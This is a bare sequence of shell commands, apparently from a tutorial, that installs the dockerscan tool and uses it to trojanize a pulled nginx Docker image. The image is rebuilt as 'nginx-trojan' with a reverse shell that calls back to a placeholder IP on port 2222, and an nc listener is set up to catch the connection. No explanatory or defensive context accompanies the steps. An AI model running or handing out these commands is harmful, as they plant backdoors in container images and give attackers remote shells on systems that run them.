$ docker pull nginx


$ docker history nginx:latest


$ add-apt-repository ppa:jonathonf/python-3.6
$ apt-get update
$ apt-get install python3.6


$ python --version
Python 2.7.12


$ python3 --version
Python 3.5.2


$ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 1
$ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2
$ update-alternatives --config python3


$ apt install python3-pip
$ python3 -m pip install setuptools
$ python3 -m pip install -U pip # This should say it's already installed


$ python3 -m pip install dockerscan
Successfully installed booby-ng-0.8.4 click-6.7 colorlog-2.10.0 dockerscan-1.0.0a3 ecdsa-0.13 jws-0.1.3 python-dxf-4.0.1 requests-2.13.0 tqdm-4.31.1 www-authenticate-0.9.2


$ dockerscan -h



$ apt install docker.io



$ docker pull nginx
$ docker save nginx -o nginx-image


$ dockerscan image analyze nginx-image
[ * ] Starting the analysis of docker image...
[ * ] Selected image: 'nginx'
[ * ] Analysis finished. Results:
[ * ] - Running user = root


$ dockerscan image modify -h



$ dockerscan image modify trojanize nginx-image -l XXX.XXX.XXX.XXX -p 2222 -o nginx-trojan



$ docker run nginx:latest


$ nc -v -k -l XXX.XXX.XXX.XXX 2222